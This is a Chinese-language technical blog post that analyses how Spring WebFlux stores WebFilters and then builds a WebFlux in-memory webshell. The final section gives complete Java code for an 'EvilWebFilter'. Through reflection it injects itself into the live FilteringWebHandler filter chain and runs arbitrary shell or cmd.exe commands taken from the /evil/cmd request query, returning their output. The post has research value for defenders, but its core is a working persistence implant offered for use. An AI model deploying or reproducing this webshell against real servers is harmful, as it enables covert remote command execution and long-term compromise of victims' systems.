前言
Spring框架中包含的原始Web框架Spring Web MVC是专门为Servlet API和Servlet容器构建的。响应式堆栈Web框架Spring WebFlux是在5.0版本中添加的,它完全非阻塞,支持Reactive Streams背压,运行在Netty、Undertow、Servlet容器等服务器上,它不依赖Servlet-API,但是同样具有Filter,即WebFilter。
WebFlux型内存马也算是一个变相的Filter类型的内存马,依旧还是通过动态注册WebFilter及映射路由来实现的,但是它的filters并没有存放在常见的filter集合中。
环境搭建
新建一个SpringBoot项目,WEB选择Spring Reactive WEB。

1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16
| package com.example.webfluxmemoryshell.index;
import org.springframework.http.MediaType; import org.springframework.stereotype.Component; import org.springframework.web.reactive.function.BodyInserters; import org.springframework.web.reactive.function.server.ServerRequest; import org.springframework.web.reactive.function.server.ServerResponse; import reactor.core.publisher.Mono;
@Component public class GreetingHandler { public Mono<ServerResponse> hello(ServerRequest request) { return ServerResponse.ok().contentType(MediaType.TEXT_PLAIN) .body(BodyInserters.fromValue("Hello Webflux!")); } }
|
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18
| package com.example.webfluxmemoryshell.index;
import org.springframework.context.annotation.Bean; import org.springframework.context.annotation.Configuration; import org.springframework.http.MediaType; import org.springframework.web.reactive.function.server.RequestPredicates; import org.springframework.web.reactive.function.server.RouterFunction; import org.springframework.web.reactive.function.server.RouterFunctions; import org.springframework.web.reactive.function.server.ServerResponse;
@Configuration public class GreetingRouter {
@Bean public RouterFunction<ServerResponse> route(GreetingHandler greetingHandler) { return RouterFunctions.route(RequestPredicates.GET("/hello").and(RequestPredicates.accept(MediaType.TEXT_PLAIN)), greetingHandler::hello); } }
|

过程分析
在GreetingHandler#hello方法中下断点,观察堆栈信息,发现org.springframework.web.reactive.DispatcherHandler#invokeHandler方法调用handle方法,根据URI分发处理handler。


由于WebFlux型内存马注入,依旧是需要动态注册一个Filter及映射路由,对于路由创建一般有两种方式:
- 通过提供的API进行调用,进而能够动态的创建内存马,例如Spring Controller型内存马,主要就是通过RequestMappingHandlerMapping#registerMapping方法进行动态的注册
- 通过反射的方法进行获取类似servlets/filters等存放servlet/filter的属性,之后将自定义的类添加进入这个属性中
这里可以利用工具Java-Object-Searcher来查看自定义的WebFilter在Thread的哪个位置,从而确定注入点,自定义一个如下的WebFilter,接着访问路由,观察自定义的WebFilter在Thread的哪个位置。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32
| package com.example.webfluxmemoryshell.index;
import me.gv7.tools.josearcher.entity.Blacklist; import me.gv7.tools.josearcher.entity.Keyword; import me.gv7.tools.josearcher.searcher.SearchRequstByBFS; import org.springframework.stereotype.Component; import org.springframework.web.server.ServerWebExchange; import org.springframework.web.server.WebFilter; import org.springframework.web.server.WebFilterChain; import reactor.core.publisher.Mono;
import java.util.ArrayList; import java.util.List;
@Component public class MyWebFilter implements WebFilter { @Override public Mono<Void> filter(ServerWebExchange serverWebExchange, WebFilterChain webFilterChain) { List<Keyword> keys = new ArrayList<>(); keys.add(new Keyword.Builder().setField_type("MyWebFilter").build()); List<Blacklist> blacklists = new ArrayList<>(); blacklists.add(new Blacklist.Builder().setField_type("java.io.File").build()); SearchRequstByBFS searcher = new SearchRequstByBFS(Thread.currentThread(),keys); searcher.setBlacklists(blacklists); searcher.setIs_debug(true); searcher.setMax_search_depth(15); searcher.setReport_save_path("/Users/alphag0/Desktop/"); searcher.searchObject(); System.out.println("MyWebFilter....."); return webFilterChain.filter(serverWebExchange); } }
|
先在MyWebFilter中下个断点,观察堆栈信息,发现是从DefaultWebFilterChain#invokeFilter方法中来获取自定义的WebFilter的,因此在前面对象搜索的结果中搜索关键词DefaultWebFilterChain,得到如下的结果,完整的获取到了filter储存的位置。

1 2 3 4 5 6 7 8 9 10 11 12 13
| TargetObject = {reactor.netty.resources.DefaultLoopResources$EventLoop} ---> group = {java.lang.ThreadGroup} ---> threads = {class [Ljava.lang.Thread;} ---> [2] = {org.springframework.boot.web.embedded.netty.NettyWebServer$1} ---> this$0 = {org.springframework.boot.web.embedded.netty.NettyWebServer} ---> handler = {org.springframework.http.server.reactive.ReactorHttpHandlerAdapter} ---> httpHandler = {org.springframework.boot.web.reactive.context.WebServerManager$DelayedInitializationHttpHandler} ---> delegate = {org.springframework.web.server.adapter.HttpWebHandlerAdapter} ---> delegate = {org.springframework.web.server.handler.ExceptionHandlingWebHandler} ---> delegate = {org.springframework.web.server.handler.FilteringWebHandler} ---> chain = {org.springframework.web.server.handler.DefaultWebFilterChain} ---> allFilters = {java.util.List<org.springframework.web.server.WebFilter>} ---> [0] = {com.example.webfluxmemoryshell.index.MyWebFilter}
|
从上文搜索结果中可以看到,所有filter都被储存在了chain属性里,然后chain属性是被存在FilteringWebHandler里面,要注入的话就得添加一个恶意的chain进去,至于为什么不添加一个Filter到allFilters属性中,可以参考从CVE-2022-22947到Spring WebFlux内存马与哥斯拉%3B-,Spring%20WebFilter%E5%86%85%E5%AD%98%E9%A9%AC,-%E5%89%8D%E9%9D%A2%E6%8F%90%E5%88%B0Controller)。
应用
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125
| package com.example.webfluxmemoryshell.index;
import org.springframework.boot.web.embedded.netty.NettyWebServer; import org.springframework.context.annotation.Configuration; import org.springframework.core.io.buffer.DataBuffer; import org.springframework.core.io.buffer.DefaultDataBufferFactory; import org.springframework.http.MediaType; import org.springframework.http.server.reactive.ReactorHttpHandlerAdapter; import org.springframework.http.server.reactive.ServerHttpRequest; import org.springframework.http.server.reactive.ServerHttpResponse; import org.springframework.web.server.ServerWebExchange; import org.springframework.web.server.WebFilter; import org.springframework.web.server.WebFilterChain; import org.springframework.web.server.WebHandler; import org.springframework.web.server.adapter.HttpWebHandlerAdapter; import org.springframework.web.server.handler.DefaultWebFilterChain; import org.springframework.web.server.handler.ExceptionHandlingWebHandler; import org.springframework.web.server.handler.FilteringWebHandler; import reactor.core.publisher.Flux; import reactor.core.publisher.Mono;
import java.io.BufferedReader; import java.io.InputStreamReader; import java.lang.reflect.Array; import java.lang.reflect.Field; import java.lang.reflect.Method; import java.lang.reflect.Modifier; import java.nio.charset.StandardCharsets; import java.util.ArrayList; import java.util.List;
@Configuration public class EvilWebFilter implements WebFilter { @Override public Mono<Void> filter(ServerWebExchange exchange, WebFilterChain chain) { if (exchange.getRequest().getURI().getPath().startsWith("/evil/")) { inject(); Flux<DataBuffer> response = getPost(exchange); ServerHttpResponse serverHttpResponse = exchange.getResponse(); serverHttpResponse.getHeaders().setContentType(MediaType.TEXT_PLAIN); return serverHttpResponse.writeWith(response); } else { return chain.filter(exchange); } }
public static void inject() { try { Method getThreads = Thread.class.getDeclaredMethod("getThreads"); getThreads.setAccessible(true); Object threads = getThreads.invoke(null);
for (int i = 0; i < Array.getLength(threads); i++) { Object thread = Array.get(threads, i); if (thread != null && thread.getClass().getName().contains("NettyWebServer")) { NettyWebServer nettyWebServer = (NettyWebServer) getFieldValue(thread, "this$0", false); ReactorHttpHandlerAdapter handler = (ReactorHttpHandlerAdapter) getFieldValue(nettyWebServer, "handler", false); Object httpHandler = getFieldValue(handler,"httpHandler", false); HttpWebHandlerAdapter httpWebHandlerAdapter = (HttpWebHandlerAdapter) getFieldValue(httpHandler,"delegate", false); ExceptionHandlingWebHandler exceptionHandlingWebHandler = (ExceptionHandlingWebHandler) getFieldValue(httpWebHandlerAdapter,"delegate", true); FilteringWebHandler filteringWebHandler = (FilteringWebHandler) getFieldValue(exceptionHandlingWebHandler,"delegate", true); DefaultWebFilterChain defaultWebFilterChain = (DefaultWebFilterChain) getFieldValue(filteringWebHandler,"chain", false); List<WebFilter> allFilters = new ArrayList<>(defaultWebFilterChain.getFilters()); allFilters.add(0, new EvilWebFilter()); DefaultWebFilterChain newChain = new DefaultWebFilterChain((WebHandler) handler, allFilters); Field f = filteringWebHandler.getClass().getDeclaredField("chain"); f.setAccessible(true); Field modifersField = Field.class.getDeclaredField("modifiers"); modifersField.setAccessible(true); modifersField.setInt(f, f.getModifiers() & ~Modifier.FINAL); f.set(filteringWebHandler, newChain); modifersField.setInt(f, f.getModifiers() & Modifier.FINAL); } }
} catch (Exception e) { e.printStackTrace(); } }
public static Object getFieldValue(Object obj, String fieldName, boolean superClass) throws Exception { Field f; if(superClass){ f = obj.getClass().getSuperclass().getDeclaredField(fieldName); }else { f = obj.getClass().getDeclaredField(fieldName); } f.setAccessible(true); return f.get(obj); }
public Flux<DataBuffer> getPost(ServerWebExchange exchange) { ServerHttpRequest request = exchange.getRequest(); String path = request.getURI().getPath(); String query = request.getURI().getQuery();
if (path.equals("/evil/cmd") && query != null && query.startsWith("command=")) { String command = query.substring(8); try{ boolean isLinux = true; String osTyp = System.getProperty("os.name"); if (osTyp != null && osTyp.toLowerCase().contains("win")) { isLinux = false; }
String[] cmds = isLinux ? new String[]{"sh", "-c", command} : new String[]{"cmd.exe", "/c", command}; Process process = Runtime.getRuntime().exec(cmds); BufferedReader reader = new BufferedReader(new InputStreamReader(process.getInputStream(), "GBK")); Flux<DataBuffer> response = Flux.create(sink -> { try { String line; while ((line = reader.readLine()) != null) { sink.next(DefaultDataBufferFactory.sharedInstance.wrap(line.getBytes(StandardCharsets.UTF_8))); } sink.complete(); } catch (Exception e) {} });
exchange.getResponse().getHeaders().setContentType(MediaType.TEXT_PLAIN); return response; } catch (Exception e) {} } return Flux.empty(); } }
|
